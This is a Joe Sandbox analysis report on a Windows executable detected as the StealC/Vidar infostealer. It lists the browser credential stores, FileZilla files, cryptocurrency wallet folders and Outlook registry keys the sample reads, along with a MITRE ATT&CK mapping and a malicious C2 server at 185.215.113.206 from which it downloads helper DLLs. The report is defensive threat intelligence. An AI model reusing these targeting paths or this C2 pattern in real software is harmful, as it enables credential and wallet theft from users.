Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 2800, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.3d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2636691992.00000000003D1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2116035375.0000000004C40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2638083639.0000000000ECE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2800, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 2800, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	11 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	2 Process Injection	3 Obfuscated Files or Information	Security Account Manager	235 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Registry Run Keys / Startup Folder	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	641 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	24 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	24 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	2 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	45%	ReversingLabs	Win32.Trojan.StealC
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\chrome.dll	0%	ReversingLabs
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
http://www.broofa.com	0%	URL Reputation	safe
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	0%	URL Reputation	safe
https://deff.nelreports.net/api/report?cat=msn	0%	URL Reputation	safe
https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
https://drive-daily-2.corp.google.com/	0%	URL Reputation	safe
https://drive-daily-4.corp.google.com/	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://drive-daily-1.corp.google.com/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://drive-daily-5.corp.google.com/	0%	URL Reputation	safe
https://www.tiktok.com/	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	0%	URL Reputation	safe
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	0%	URL Reputation	safe
https://chromewebstore.google.com/	0%	URL Reputation	safe
https://drive-preprod.corp.google.com/	0%	URL Reputation	safe
https://docs.rs/getrandom#nodejs-es-module-support	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	172.64.41.3	true	false	unknown
plus.l.google.com	142.250.184.238	true	false	unknown
play.google.com	142.250.185.174	true	false	unknown
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	unknown
sb.scorecardresearch.com	18.244.18.38	true	false	unknown
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	unknown
www.google.com	172.217.18.4	true	false	unknown
googlehosted.l.googleusercontent.com	172.217.18.1	true	false	unknown
clients2.googleusercontent.com	unknown	unknown	false	unknown
bzib.nelreports.net	unknown	unknown	false	unknown
assets.msn.com	unknown	unknown	false	unknown
c.msn.com	unknown	unknown	false	unknown
ntp.msn.com	unknown	unknown	false	unknown
apis.google.com	unknown	unknown	false	unknown
api.msn.com	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Reputation
https://sb.scorecardresearch.com/b?rn=1730326302775&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=1C762142180C6CEE0191346A19FD6D49&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	unknown
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1730326302773&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true	false	unknown
http://185.215.113.206/	true	unknown
http://185.215.113.206/746f34465cf17784/msvcp140.dll	true	unknown
http://185.215.113.206/6c4adf523b719729.php	true	unknown
https://c.msn.com/c.gif?rnd=1730326302775&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=bdbfca09c35c44b88acb5eaa3021a39c&activityId=bdbfca09c35c44b88acb5eaa3021a39c&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0	false	unknown
http://185.215.113.206/746f34465cf17784/softokn3.dll	true	unknown
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	unknown
https://c.msn.com/c.gif?rnd=1730326302775&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=bdbfca09c35c44b88acb5eaa3021a39c&activityId=bdbfca09c35c44b88acb5eaa3021a39c&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=1F727EBF839C45AAB6D3749B41308685&MUID=1C762142180C6CEE0191346A19FD6D49	false	unknown
http://185.215.113.206/746f34465cf17784/freebl3.dll	true	unknown
https://play.google.com/log?format=json&hasfast=true	false	unknown
https://bzib.nelreports.net/api/report?cat=bingbusiness	false	unknown
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0	false	unknown
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1730326305071&w=0&anoncknm=app_anon&NoResponseBody=true	false	unknown
http://185.215.113.206/746f34465cf17784/mozglue.dll	true	unknown
http://185.215.113.206/746f34465cf17784/nss3.dll	true	unknown
https://clients2.googleusercontent.com/crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx	false	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	EHDAAECA.0.dr, BGHIIJDG.0.dr, Web Data.8.dr	false	URL Reputation: safe	unknown
https://c.msn.com/	2cc80dabc69f58b6_1.8.dr	false		unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000002.2638083639.0000000000F6C000.00000004.00000020.00020000.00000000.sdmp, EHDAAECA.0.dr, BGHIIJDG.0.dr, Web Data.8.dr	false	URL Reputation: safe	unknown
http://www.broofa.com	chromecache_484.4.dr	false	URL Reputation: safe	unknown
https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline	8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	false		unknown
https://ntp.msn.com/0	000003.log10.8.dr	false		unknown
https://ntp.msn.com/_default	QuotaManager.8.dr	false		unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	file.exe, 00000000.00000002.2659436347.00000000235D0000.00000004.00000020.00020000.00000000.sdmp, AAKEGIJEHJDGDHJKJKKJ.0.dr	false	URL Reputation: safe	unknown
https://www.last.fm/	8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	false		unknown
https://deff.nelreports.net/api/report?cat=msn	2cc80dabc69f58b6_0.8.dr	false	URL Reputation: safe	unknown
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.8.dr	false		unknown
https://aefd.nelreports.net/api/report?cat=bingcsp	Reporting and NEL.9.dr	false		unknown
https://sb.scorecardresearch.com/	2cc80dabc69f58b6_1.8.dr	false		unknown
https://deff.nelreports.net/api/report	Reporting and NEL.9.dr	false		unknown
https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1	chromecache_488.4.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/6c4adf523b719729.php(u	file.exe, 00000000.00000002.2638083639.0000000000F12000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://docs.google.com/	manifest.json0.8.dr	false		unknown
https://www.youtube.com	8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	false		unknown
http://185.215.113.206/746f34465cf17784/mozglue.dll4=	file.exe, 00000000.00000002.2638083639.0000000000F27000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.google.com	chromecache_484.4.dr	false		unknown
https://deff.nelreports.net/api/report?cat=msnw	Reporting and NEL.9.dr	false		unknown
https://www.instagram.com	8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	false		unknown
https://web.skype.com/?browsername=edge_canary_shoreline	8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	false		unknown
https://drive.google.com/	manifest.json0.8.dr	false		unknown
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1	8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	false		unknown
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2	8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	false		unknown
https://www.messenger.com	8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	false		unknown
https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	false		unknown
https://outlook.office.com/mail/compose?isExtension=true	8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	false		unknown
https://unitedstates4.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	false		unknown
http://185.215.113.206/6c4adf523b719729.phpenSSH	file.exe, 00000000.00000002.2659436347.00000000235D0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://i.y.qq.com/n2/m/index.html	8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	false		unknown
https://www.deezer.com/	8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	false		unknown
https://web.telegram.org/	8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	false		unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/746f34465cf17784/vcruntime140.dllm$	file.exe, 00000000.00000002.2638083639.0000000000F6C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://drive-daily-2.corp.google.com/	manifest.json0.8.dr	false	URL Reputation: safe	unknown
https://drive-daily-4.corp.google.com/	manifest.json0.8.dr	false	URL Reputation: safe	unknown
https://vibe.naver.com/today	8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	false		unknown
http://185.215.113.206/746f34465cf17784/vcruntime140.dllt4	file.exe, 00000000.00000002.2638083639.0000000000F6C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://srtb.msn.com/	2cc80dabc69f58b6_1.8.dr	false		unknown
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000002.2638083639.0000000000F6C000.00000004.00000020.00020000.00000000.sdmp, EHDAAECA.0.dr, BGHIIJDG.0.dr, Web Data.8.dr	false	URL Reputation: safe	unknown
https://msn.comXIDv10#	Cookies.9.dr	false		unknown
https://www.ecosia.org/newtab/	EHDAAECA.0.dr	false	URL Reputation: safe	unknown
https://drive-daily-1.corp.google.com/	manifest.json0.8.dr	false	URL Reputation: safe	unknown
https://excel.new?from=EdgeM365Shoreline	8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	false		unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	ECBGHCGCBKFIECBFHIDGHDGIEG.0.dr	false	URL Reputation: safe	unknown
https://drive-daily-5.corp.google.com/	manifest.json0.8.dr	false	URL Reputation: safe	unknown
https://plus.google.com	chromecache_488.4.dr	false		unknown
https://www.google.com/chrome	content_new.js.8.dr, content.js.8.dr	false		unknown
https://www.tiktok.com/	8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/746f34465cf17784/vcruntime140.dllM$	file.exe, 00000000.00000002.2638083639.0000000000F6C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.msn.com/web-notification-icon-light.png	2cc80dabc69f58b6_1.8.dr	false		unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	ECBGHCGCBKFIECBFHIDGHDGIEG.0.dr	false	URL Reputation: safe	unknown
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000000.00000002.2659436347.00000000235D0000.00000004.00000020.00020000.00000000.sdmp, AAKEGIJEHJDGDHJKJKKJ.0.dr	false	URL Reputation: safe	unknown
https://chromewebstore.google.com/	manifest.json.8.dr	false	URL Reputation: safe	unknown
https://drive-preprod.corp.google.com/	manifest.json0.8.dr	false	URL Reputation: safe	unknown
https://srtb.msn.cn/	2cc80dabc69f58b6_1.8.dr	false		unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	file.exe, 00000000.00000002.2659436347.00000000235D0000.00000004.00000020.00020000.00000000.sdmp, AAKEGIJEHJDGDHJKJKKJ.0.dr	false		unknown
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2	8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	false		unknown
https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1	8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	false		unknown
https://chrome.google.com/webstore/	manifest.json.8.dr	false		unknown
https://y.music.163.com/m/	8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	false		unknown
https://unitedstates2.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	false		unknown
https://bard.google.com/	8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	false		unknown
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.8.dr	false		unknown
https://clients6.google.com	chromecache_488.4.dr	false		unknown
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.8.dr	false		unknown
https://web.whatsapp.com	8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	false		unknown
https://m.kugou.com/	8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	false		unknown
https://www.office.com	8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	false		unknown
https://outlook.live.com/mail/0/	8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	false		unknown
http://185.215.113.206/6c4adf523b719729.phpBrowser	file.exe, 00000000.00000002.2638083639.0000000000F42000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	AAKEGIJEHJDGDHJKJKKJ.0.dr	false		unknown
https://docs.rs/getrandom#nodejs-es-module-support	file.exe, file.exe, 00000000.00000002.2664657293.000000006C8A1000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2636691992.00000000003FC000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2116035375.0000000004C6B000.00000004.00001000.00020000.00000000.sdmp, chrome.dll.0.dr	false	URL Reputation: safe	unknown
https://ntp.msn.com/edge/ntp	2cc80dabc69f58b6_1.8.dr, 000003.log10.8.dr	false		unknown
https://assets.msn.com/resolver/	2cc80dabc69f58b6_1.8.dr	false		unknown
http://185.215.113.206HDA	file.exe, 00000000.00000002.2636691992.00000000003FC000.00000040.00000001.01000000.00000003.sdmp	false		unknown
https://powerpoint.new?from=EdgeM365Shoreline	8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp.8.dr	false		unknown
http://185.215.113.206/6c4adf523b719729.phpm	file.exe, 00000000.00000002.2638083639.0000000000F42000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000002.2638083639.0000000000F6C000.00000004.00000020.00020000.00000000.sdmp, EHDAAECA.0.dr, BGHIIJDG.0.dr, Web Data.8.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
23.218.232.186	unknown	United States	24835	RAYA-ASEG	false
13.107.246.45	s-part-0017.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.221.22.201	unknown	United States	20940	AKAMAI-ASN1EU	false
20.125.209.212	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
162.159.61.3	unknown	United States	13335	CLOUDFLARENETUS	false
3.165.181.3	unknown	United States	16509	AMAZON-02US	false
172.217.18.4	www.google.com	United States	15169	GOOGLEUS	false
18.244.18.38	sb.scorecardresearch.com	United States	16509	AMAZON-02US	false
172.217.18.1	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.184.238	plus.l.google.com	United States	15169	GOOGLEUS	false
23.96.180.189	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.198.7.185	unknown	United States	20940	AKAMAI-ASN1EU	false
23.198.7.180	unknown	United States	20940	AKAMAI-ASN1EU	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
23.198.7.170	unknown	United States	20940	AKAMAI-ASN1EU	false
13.107.246.57	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.55.178.243	unknown	United States	2914	NTT-COMMUNICATIONS-2914US	false
20.189.173.26	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.47.194.88	unknown	United States	20940	AKAMAI-ASN1EU	false
142.250.185.174	play.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.5
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1545754
Start date and time:	2024-10-30 23:10:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 39s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@63/297@26/26
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

